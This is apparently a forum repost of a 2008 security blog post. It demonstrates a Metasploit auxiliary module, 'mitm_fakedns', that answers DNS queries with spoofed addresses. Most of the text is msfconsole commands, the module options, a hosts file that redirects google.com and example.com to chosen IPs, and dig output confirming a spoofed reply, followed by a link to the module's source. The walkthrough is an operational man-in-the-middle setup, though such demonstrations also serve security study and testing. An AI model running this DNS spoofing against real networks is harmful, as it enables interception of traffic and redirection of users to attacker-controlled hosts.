Man-in-the-middle Fake DNS for Metasploit Code: HacBook:framework wesley$ sudo ./msfconsole Password: _ | | o _ _ _ _ _|_ __, , _ | | __ _|_ / |/ |/ | |/ | / | / \_|/ \_|/ / \_| | | | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/ /| \| =[ msf v3.2-release + -- --=[ 299 exploits - 124 payloads + -- --=[ 18 encoders - 6 nops =[ 68 aux msf > use auxiliary/server/mitm_fakedns msf auxiliary(mitm_fakedns) > info Name: MITM DNS Service Version: 5540 Provided by: unknown <ddz> hdm <[email protected]> Wesley McGrew <[email protected]> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME yes File of ip,regex for filtering responses REALDNS yes Ask this server for answers SRVHOST 0.0.0.0 yes The local host to listen on. SRVPORT 53 yes The local port to listen on. Description: Code: msf auxiliary(mitm_fakedns) > cat /Users/wesley/hosts.txt [*] exec: cat /Users/wesley/hosts.txt 192.168.1.1,google.com 10.0.0.1,example.com msf auxiliary(mitm_fakedns) > set FILENAME /Users/wesley/hosts.txt FILENAME => /Users/wesley/hosts.txt msf auxiliary(mitm_fakedns) > set REALDNS 192.168.1.254 REALDNS => 192.168.1.254 msf auxiliary(mitm_fakedns) > run [*] Auxiliary module running as background job msf auxiliary(mitm_fakedns) > Code: HacBook:~ wesley$ dig @127.0.0.1 example.com ; <<>> DiG 9.4.1-P1 <<>> @127.0.0.1 example.com ; (1 server found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 38312 ;; flags: qr ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;example.com. IN A ;; ANSWER SECTION: example.com. 99270 IN A 10.0.0.1 ;; Query time: 39 msec ;; SERVER: 127.0.0.1#53(127.0.0.1) ;; WHEN: Mon Aug 4 22:59:01 2008 ;; MSG SIZE rcvd: 45 http://mcgrewsecurity.com/codedump/mitm_fakedns.rb SOurce: http://www.mcgrewsecurity.com/2008/08/04/man-in-the-middle-fake-dns-for-metasploit/ btw,I have posted the full article because that site was down.